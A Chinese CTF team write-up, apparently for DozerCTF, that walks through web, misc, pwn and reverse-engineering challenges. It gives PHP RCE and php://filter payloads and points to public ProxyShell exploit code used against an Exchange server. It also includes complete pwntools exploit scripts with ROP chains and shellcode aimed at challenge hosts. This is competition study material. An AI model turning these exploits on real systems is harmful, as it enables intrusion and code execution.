本文最后更新于 2024年9月21日 下午
前言:历时一天,最后拿到了团队第八,以下是团队的wp.
web and misc
easy_rce
先上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php header("Content-Type:text/html;charset=utf-8"); error_reporting(0); highlight_file(__FILE__);
function waf($poc) { $blacklist = "/[0-9]|get_defined_vars|include|readfile|crypt|require|file_get_contents|readgzfile|highlight_file|show|session|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i"; if(preg_match($blacklist, $poc)) { echo "die!"; return "dieeeeeeee"; } return $poc; }
if(isset($_POST['cmd'])) { $cmd = waf($_POST['cmd']); if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $cmd)) { eval($cmd); } } ?>
|
真狠啊,上面把能禁的都禁了,要不然还是挺简单了,想到之前ctfshow里面可以用scandir看看有什么的。尝试构造一下。
1
| cmd=var_dump(scandir(current(localeconv())));
|
试了一下好像不能用./来找,说一下localeconv()
localeconv() 函数是一个编程语言函数,返回包含本地数字及货币信息格式的数组。这里可以通过这个函数读取当前目录下的文件名称。
可以知道flag就应该在fllllaaag.php,尝试直接得,
1
| Parse error: syntax error, unexpected '{' in /var/www/html/fllllaaag.php on line 3
|
哎被禁了。那想想其他方法吧。
还是队友思路好啊我就是大菜狗,再讲一个函数array_flip()
array_flip () 函数用来交换数组中元素的键和值。array_flip() 返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。
简单的说就是下标和内容颠倒,就这么理解。
array_rand()
在不改变数组的基础上,从数组中随机的选取一个或多个元素,比如我们在网页上随机显示不同的广告,或者推荐不同的文章等等
又因为include那些被禁了,(劳累.jpg,也是靠队友,用file就行了
1
| cmd=var_dump(file(array_rand(array_flip(scandir(current(localeconv()))))));
|
very_long_access
下载下来简要看一下内容吧,问了一下gpt,回答如下:
这看起来像是一个网络服务器的日志条目。它包括了一个时间戳、用户代理字符串(表明是运行在 Windows 10 上的 Chrome 版本 108.0.0.0 浏览器),以及一个对资源”A”的GET请求,请求的数据大小为34760字节。有什么关于这个日志条目你想要了解或讨论的吗?
感觉和wireshark的题目有点像,和时间有关系,发现时间并不是按顺序写的,撸个脚本排一下序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| with open("very_long_access.txt", "r") as file: log_entries = file.readlines()
parsed_entries = [] for entry in log_entries: timestamp_string = entry.split(" - ")[0] parsed_entry = (timestamp_string, entry) parsed_entries.append(parsed_entry)
sorted_entries = sorted(parsed_entries, key=lambda x: x[0])
with open("sorted_access_logs.txt", "w") as file: for entry in sorted_entries: file.write(entry[1])
print("日志条目已按时间先后顺序排列并保存到 sorted_access_logs.txt 文件中。")
|
排完看后面估计要把get/后面的提出来才能有些头绪,再撸个脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| with open('sorted_access_logs.txt', 'r') as f: lines = [] for line in f: start_index = line.find("GET /") + 5 end_index = line.find(" ", start_index) request = line[start_index:end_index] lines.append(request)
get_requests = ''.join(lines)
with open('get_requests.txt', 'w') as f: f.write(get_requests)
print("提取并写入完成!")
|
ctrl+f搜看看有没有惊喜,确实有
serialize
上面一个可以输入,下面一个好像偏rce,尝试输入了一会并没有得到答案。我试了一下robots.txt,出来了一个dozer_f1ag.php,直接开开不了,那就代码审计一下吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); error_reporting(0); ini_set('open_basedir', '/var/www/html:/tmp'); $file = 'function.php'; $func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); if (strpos($file, 'function.php') === false) { echo '去找fun吧!!!'; exit; } else { include($file); } ?>
|
ini_set,规定了访问路径在这两个里面。
给file赋值
然后检查URL查询字符串($_GET)中是否设置了’function’参数。如果’function’参数已设置,则将其值赋给变量$func;否则,将字符串’filters’赋给$func。
call_user_func这个函数前阵子刚碰过,试过几次觉得应该是用extract解决。该函数用于将数组中的键名作为变量名,键值作为变量值,导入到当前符号表中。
strpos用于检测有没有,有才可以include,应该是用伪协议,覆盖
可是要有function.php,再改一下
最后构造payload
1
| function=extract&file=php://filter/function.php/convert.base64-encode/resource=dozer_f1ag.php
|
解一下base64
上春山
二月天杨柳醉春烟..搞错了,看题目。
什么玩意,我自己整理了一下
分析一下,一开始对暗号,然后聊天说东方有沉船搞个门路赚钱,最后flag应该和沉船有关系。说到这就应该好好拷打出题人了
官方给了提示不一定在国内,出名的奢侈的。
我们锁定范围(1911-1949年,出名,国外,奢侈,沉船)
这不就是出名的泰坦尼克号嘛,最后官方说的知道船可以问,直接给我一串汉字,我们谦虚一下,面向答案的wp写一下。
载柳度载汪分中中申申秒载爱度中申分载中句月秒
根据江湖黑话,上面的应该都是数字转化而来的,也就是当时沉船的经纬度转黑话,黑话再转MD5就行,最后就是flag.(好好拷打出题人)
se
wav的题目,一般都挺简单的吧
听一下类似电话拨号的声音,网上的网站一把梭
962764453,卡壳了不知道接下来怎么写,emmmmm
还好有万能的队友,用silenteye可以提出zip,再用这个密码就可以得到flag了。
shuiyin
嘿嘿,出题人总是不仔细啊,直接给flag也没下,那我接着面向答案的wp了。
按道理应该是最右边的图片,猜测是盲水印,拖到软件里面解一下就行了吧,然后可以得到flag,(估计本来就简单,上的太匆忙了)
问卷
正常答题就行,最后想抢手速也是于事无补。
以下部分由队友完成我只是负责拼装。
简单的域渗透III-flag1
发现被重定向
根据题目发现是exchange+office365
查阅文章记一次曲折的exchange漏洞利用-ProxyMaybeShell (qq.com)
proxyshell一梭拿到token
脚本代码:
https://github.com/dmaasland/proxyshell-poc
从github上撸到https://github.com/FDlucifer/Proxy-Attackchain/blob/12e3c7f8bcbf9dba3a3df1866070f72d6eda51b1/proxymaybeshell/ProxyMaybeShell-main/proxynotshellfileWrite.py#L3直接一把梭
拿到shell
群里桌面和vpn两hint,找到如下
tar解压取出password
flag{b5c1cd1c-45d8-4c5e-bf2e-d2b87419248f}
PWN
一个不对劲的溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
p = remote('139.196.237.232',32916) elf = ELF('./pwn') libc = ELF('./libc.so.6') context(os='linux',arch='amd64',log_level='debug')
payload = 'aa%37$pbb%36$pcc%35$p' p.sendlineafter('username?\n',payload) p.recvuntil('aa') libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main'] print('libc_base-->'+hex(libc_base)) p.recvuntil('bb') pie = int(p.recv(14),16)-0x0000A20 print('pie-->'+hex(pie)) p.recvuntil('cc') canary = int(p.recv(18),16) print('canary-->'+hex(canary)) pop_rdi = 0x00a83+pie system = libc_base+libc.symbols['system'] binsh = libc_base+0x001b3d88 ret = 0x000A84 main = pie+0x0007F0 og = [0x4f2be,0x4f2c5,0x4f322,0x10a38c] og_yuan = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc] shell = libc_base+og_yuan[0] payload = b'a'*(0xd0-0x8)+p64(canary)+b'bbbbbbbb'
payload+= p64(shell) p.send(payload) p.sendline('exec 1>&0') p.interactive()
|
mid_pwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import*
p = remote('139.196.237.232',32972) context(arch='amd64',os='linux',log_level='debug')
shellcode = ''' mov rdi, 0x67616c66 push rdi xor rdi, rdi sub rdi, 100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, SYS_openat syscall push 3 pop rdi push 0x1 pop rdx push 0x100 lea rbx, [rsp-8] push rbx mov rsi, rsp push SYS_readv pop rax syscall push 1 pop rdi push 0x1 pop rdx push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp push SYS_writev pop rax syscall ''' shellcode = b'a'*231+asm(shellcode) p.sendlineafter(b'show me\n',shellcode) p.recv()
|
ezpwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * from ctypes import * p = remote('139.196.237.232',32944) context(arch='amd64',log_level='debug') elf = ELF('./pwn') libc = cdll.LoadLibrary('libc.so.6') glibc = ELF('./libc.so.6')
seed = libc.time(0) password = libc.rand(libc.srand(seed)) p.sendafter('account:','xiaochange') p.sendlineafter('password:',str(password)) pop_rdi = 0x004014d3 payload = b'a'*0x30+b'bbbbbbbb' payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts']) payload+= p64(0x000401423) p.sendafter('something\n',payload) p.recvuntil('bye~~\n') libc_addr = u64(p.recv(6).ljust(8,b'\x00'))-glibc.symbols['puts'] og = [0xe3afe,0xe3b01,0xe3b04] seed = libc.time(0) password = libc.rand(libc.srand(seed)) shell = libc_addr+og[1] p.sendafter('account:','xiaochange') p.sendlineafter('password:',str(password)) payload = b'a'*0x30+b'bbbbbbbb' payload+= p64(shell) p.sendafter('something\n',payload) p.interactive()
|
RE
pppyyy
将pyc反编译,解方程组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from z3 import *
nums = [Real('nums%d' % i) for i in range(14)]
eqns = [ (((((nums[0] * 2 + nums[1] - 4 - nums[2] * 3 - nums[3] - 3) + nums[4] * 5 + nums[5] * 5 - nums[6] - 3) + nums[7] + 2 - nums[8]) + 3 + nums[9] - 3 - nums[10] * 4) + nums[11] * 3 - nums[12] - 2) + nums[13] + 3 == 56, ((((nums[0] + 2 - nums[1] * 5) + nums[2] - 3 - nums[3]) + 5 - nums[4] * 4 - nums[5]) + 5 + nums[6] * 4 + nums[7] * 5 + nums[8] * 3 + nums[9] * 5 - nums[10] - 5 - nums[11] - 2 - nums[12] - 5) + nums[13] - 3 == 681, (((nums[0] * 5 + nums[1] * 3 - nums[2] - 2) + nums[3] * 4 + nums[4] - 3) + nums[5] * 4 + nums[6] * 4 + nums[7] + 3 - nums[8] * 2 - nums[9]) + 3 + nums[10] + 3 - nums[11] * 2 - nums[12] * 3 - nums[13] * 2 == 1129, (((((nums[0] * 5 - nums[1] - 2) + nums[2] - 2) + nums[3] + 5 - nums[4]) + 3 + nums[5] * 2 + nums[6] + 2 - nums[7] * 4 - nums[8] - 2) + nums[9] + 5 + nums[10] + 4 - nums[11]) + 3 + nums[12] + 3 - nums[13] * 5 == 55, ((((nums[0] + 2 - nums[1] * 4 - nums[2] * 3) + nums[3] + 3 + nums[4] * 4 + nums[5] * 3 - nums[6]) + 5 + nums[7] - 2 - nums[8]) + 5 + nums[9] * 4 - nums[10] - 2 - nums[11] - 4) + nums[12] * 5 - nums[13] - 4 == 673, (((((nums[0] - 5 - nums[1] - 4 - nums[2] - 4 - nums[3]) + 2 + nums[4] * 4 - nums[5]) + 4 + nums[6] + 3 + nums[7] + 5 - nums[8] * 5 - nums[9]) + 2 + nums[10] + 2 + nums[11] - 2) + nums[12] * 3 - nums[13]) + 4 == 249, ((((((nums[0] * 4 + nums[1] - 4) + nums[2] - 5) + nums[3] - 2 - nums[4] * 2) + nums[5] + 3 + nums[6] - 3 - nums[7]) + 3 - nums[8] * 4 - nums[9] * 3) + nums[10] * 2 + nums[11] * 5 + nums[12] - 4) + nums[13] - 4 == 422, ((((((nums[0] * 3 - nums[1] - 3 - nums[2] - 3) + nums[3] - 2 - nums[4] - 5) + nums[5] * 2 + nums[6] - 4) + nums[7] - 5) + nums[8] * 5 - nums[9] * 3 - nums[10]) + 5 - nums[11] - 4 - nums[12] * 5) + nums[13] - 4 == 49, (((((((nums[0] - 4 - nums[1]) + 3 - nums[2]) + 4 - nums[3] - 4) + nums[4] + 5 - nums[5] * 3) + nums[6] + 2 + nums[7] * 4 - nums[8] - 4 - nums[9]) + 3 - nums[10] * 5) + nums[11] * 2 + nums[12] * 3 - nums[13]) + 2 == 0, (((((((nums[0] - 5 - nums[1]) + 5 - nums[2] - 4) + nums[3] + 3 + nums[4] - 2) + nums[5] - 4) + nums[6] * 2 - nums[7] - 4 - nums[8] * 4) + nums[9] + 4 + nums[10] * 4 - nums[11]) + 5 - nums[12]) + 4 + nums[13] + 4 == 268, ((((((nums[0] - 5 - nums[1]) + 3 - nums[2]) + 2 + nums[3] - 4 - nums[4]) + 4 + nums[5] - 5 - nums[6]) + 2 + nums[7] - 4 - nums[8] - 5 - nums[9] - 5 - nums[10] - 2 - nums[11]) + 5 + nums[12] - 3) + nums[13] + 4 == -162, ((((((((nums[0] + 5 - nums[1]) + 4 + nums[2] * 5 - nums[3] - 3) + nums[4] - 5 - nums[5] - 5) + nums[6] + 3 - nums[7] * 5 - nums[8] * 3) + nums[9] - 4) + nums[10] - 2) + nums[11] - 3) + nums[12] - 5) + nums[13] + 2 == -2, ((((nums[0] + 4 + nums[1] - 5 - nums[2]) + 3 + nums[3] + 3 - nums[4] - 4 - nums[5]) + 3 + nums[6] - 3 - nums[7] - 5 - nums[8]) + 3 + nums[9] - 5 - nums[10] - 2) + nums[11] + 5 + nums[12] * 5 - nums[13] - 5 == 433, (((((nums[0] + 4 + nums[1] + 4 + nums[2] + 3 - nums[3] - 2) + nums[4] - 4) + nums[5] + 3 - nums[6] - 4 - nums[7] * 2) + nums[8] - 3) + nums[9] + 2 + nums[10] * 3 - nums[11] * 4) + nums[12] + 5 + nums[13] * 3 == 515, ]
s = Solver()
s.add(eqns)
if s.check() == sat: m = s.model() for i in range(14): print(f"nums{i} = {m[nums[i]]}") else: print("方程组无解")
for i in range(14): print(chr(int(str(m[nums[i]]))),end='')
|
我是尊者
看到wp挺离谱,这么简单
Dozerctf{31de43b1a1fb565dabfa9ad8320f11de}